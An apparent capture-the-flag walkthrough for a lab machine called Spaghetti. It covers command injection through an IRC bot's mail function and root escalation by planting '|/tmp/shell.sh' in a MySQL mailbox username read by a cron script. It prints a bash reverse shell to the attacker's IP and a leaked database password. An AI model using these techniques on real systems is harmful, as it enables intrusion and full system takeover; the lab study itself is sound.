Spaghetti
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 -Pn 192.168.208.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 11:31 +08
Nmap scan report for 192.168.208.160
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
6667/tcp open irc
8080/tcp open http-proxy
IRC is open on this device, which is rather unusual. I did a detailed scan too:
$ nmap -p 25,80,6667,8080 -sC -sV --min-rate 3000 192.168.208.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 11:33 +08
Nmap scan report for 192.168.208.160
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Not valid before: 2021-03-09T11:39:07
|_Not valid after: 2031-03-07T11:39:07
|_ssl-date: TLS randomness does not represent time
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
6667/tcp open irc
| irc-info:
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| server: irc.spaghetti.lan
| version: InspIRCd-3. irc.spaghetti.lan
| source ident: nmap
| source host: 192.168.45.153
|_ error: Closing link: (nmap@192.168.45.153) [Client exited]
8080/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Postfix Admin - 192.168.208.160:8080
|_Requested resource was login.php
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
Port 6667 is indeed running IRC, and it has some functionality.
Web Enum
Port 80 was entirely static.

Port 8080 was running a non-vulnerable version of Postfix, with a login page:

I had no credentials, so let's move on first.
IRC -> Source Code -> RCE
I used nc
to first enumerate the IRC server. Initially when connecting, it tells me that it cannot resolve my hostname, which we can fix by using NICK
.

It will then send this when we register a user:
USER ran213eqdw123 0 * ran213eqdw123
:irc.spaghetti.lan 001 patrick :Welcome to the Localnet IRC Network patrick!ran213eqdw@192.168.45.153
:irc.spaghetti.lan 002 patrick :Your host is irc.spaghetti.lan, running version InspIRCd-3
:irc.spaghetti.lan 003 patrick :This server was created 19:49:00 Feb 20 2023
:irc.spaghetti.lan 004 patrick irc.spaghetti.lan InspIRCd-3 iosw biklmnopstv :bklov
:irc.spaghetti.lan 005 patrick AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.spaghetti.lan 005 patrick MAXTARGETS=20 MODES=20 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 WHOX :are supported by this server
:irc.spaghetti.lan 251 patrick :There are 1 users and 0 invisible on 1 servers
:irc.spaghetti.lan 253 patrick 1 :unknown connections
:irc.spaghetti.lan 254 patrick 1 :channels formed
:irc.spaghetti.lan 255 patrick :I have 1 clients and 0 servers
:irc.spaghetti.lan 265 patrick :Current local users: 1 Max: 2
:irc.spaghetti.lan 266 patrick :Current global users: 1 Max: 2
:irc.spaghetti.lan 375 patrick :irc.spaghetti.lan message of the day
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- * H E L L O *
:irc.spaghetti.lan 372 patrick :- * This is a private irc server. Please contact *
:irc.spaghetti.lan 372 patrick :- * the admin of the server for any questions or *
:irc.spaghetti.lan 372 patrick :- * issues. *
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- * The software was provided as a package of *
:irc.spaghetti.lan 372 patrick :- * Debian GNU/Linux <https://www.debian.org/>. *
:irc.spaghetti.lan 372 patrick :- * However, Debian has no control over this *
:irc.spaghetti.lan 372 patrick :- * server. *
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.spaghetti.lan 376 patrick :End of message of the day.
Seems like we have a functioning IRC server here. I first listed the channels available:
LIST
:irc.spaghetti.lan 321 ran213eqdw123 Channel :Users Name
:irc.spaghetti.lan 322 ran213eqdw123 #mailAssistant 1 :[+nt]
:irc.spaghetti.lan 323 ran213eqdw123 :End of channel list.
I decided to use a GUI tool called pidgin
to connect to the IRC server instead. We just have to add irc.spaghetti.lan
to our /etc/hosts
file. I used the same username as per what I nicked myself earlier.

Then, I went to Conversations > Join a Chat and used #mailAssistant
as the channel name to join. This dropped me within another chat group with a bot.

We can open a separate DM with this bot:

It drops a link to this Git repository:
Looks like we have some source code reviewing to do. There was one function within the irc_bot.py
script that had the send_message
function:
def send_message (recipient, subject, body):
cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
regex = "^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}\$"
## at end of script, it shows how input is retrieved.
if "PRIVMSG" in text and "email" in text and "description" in text:
email = text.split("email",1)[1].split(":",1)[1].split()[0]
if check(email) == True:
description = text.split("description",1)[1].split(":",1)[1]
body = description.rstrip()
subject = "email from {}".format(email)
send_message (recipient, subject, body)
irc.send(channel, user, "Email sent to administrator. Thank you.")
else:
irc.send(channel, user, "Please insert a valid mail address !")
The parameters are not sanitised at all. As such, we can attempt to chain commands using &&
to inject commands into the script since it passes these arguments to shell commands.


Privilege Escalation
Cronjob -> MySQL Shell Injection
I ran linpeas.sh
to enumerate, and it picked up on a cronjob running:

Here's the script contents:
#!/bin/bash
#!/bin/bash
serv=inspircd
server=/home/hostmaster/irc_bot.py
status="$(ps -x | grep irc_bot.py | awk 'NR==1{print $6}'| grep -v grep)"
#echo $status
if [ "$status" != "$server" ]; then
nohup /home/hostmaster/irc_bot.py > /dev/null 2>&1 &
#echo "start python"
fi
Nothing much, it just keeps running the python
script. I also ran pspy64
to enumerate the processes the root
user might be running:
2023/07/21 04:02:01 CMD: UID=0 PID=43727 | /bin/sh -c /opt/check_mailpass_expiration.sh
2023/07/21 04:02:01 CMD: UID=0 PID=43731 | /bin/bash /opt/check_mailpass_expiration.sh
root
is running a certain script. Here's the script contents:
#!/bin/bash
#Adapt to your setup
POSTFIX_DB="postfixadmin"
MYSQL_CREDENTIALS_FILE="/root/postfixadmin.my.cnf"
REPLY_ADDRESS=noreply@spaghetti.lan
# Change this list to change notification times and when ...
for INTERVAL in 30 14 7
do
LOWER=$(( $INTERVAL - 1 ))
QUERY="SELECT username,password_expiry FROM mailbox WHERE password_expiry > now() + interval $LOWER DAY AND password_expiry < NOW() + interval $INTERVAL DAY"
mysql --defaults-extra-file="$MYSQL_CREDENTIALS_FILE" "$POSTFIX_DB" -B -e "$QUERY" | while read -a RESULT ; do
echo -e "Dear User, \n Your password will expire on ${RESULT[1]}" | mail -s "Password 30 days before expiration notication" -r $REPLY_ADDRESS ${RESULT[0]}
done
done
The script basically sends emails to users. However, I noticed that the parameters from the MySQL database aren't sanitised at all, and passed directly into the mail
command. This opens up a chance for injecting some commands. ${RESULT[0]}
is the parameter that is vulnerable, and it is the username
parameter from the database.
To exploit this, we can first put a reverse shell script within the host and chmod
it:
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.153/21 0>&1
Now, we need to find SQL credentials, which might be located within the Postfix files based on the name of the file root
uses. I found it within the /var/www/postfixadmin/config.local.php
file:
hostmaster@spaghetti:/var/www/postfixadmin$ cat config.local.php
<?php
$CONF['configured'] = true;
$CONF['password_expiration'] = 'YES';
$CONF['database_type'] = 'mysqli';
$CONF['database_host'] = 'localhost';
$CONF['database_user'] = 'postfixadmin';
$CONF['database_password'] = 'P4s8vV0r6';
$CONF['database_name'] = 'postfixadmin';
<TRUNCATED>
From here, we can login to the database and use the postfixadmin
database.
hostmaster@spaghetti:/var/www/postfixadmin$ mysql -u postfixadmin -pP4s8vV0r6
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 139
Server version: 8.0.23-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use postfixadmin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
The script uses the mailbox
table, so we can update the entries within it:
mysql> update mailbox set username =' |/tmp/shell.sh';
Query OK, 1 row affected (0.02 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> update mailbox set password_expiry = (select now() + interval 7 day);
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
Afterwards, we can just wait for root
to execute it and give us a reverse shell:

Last updated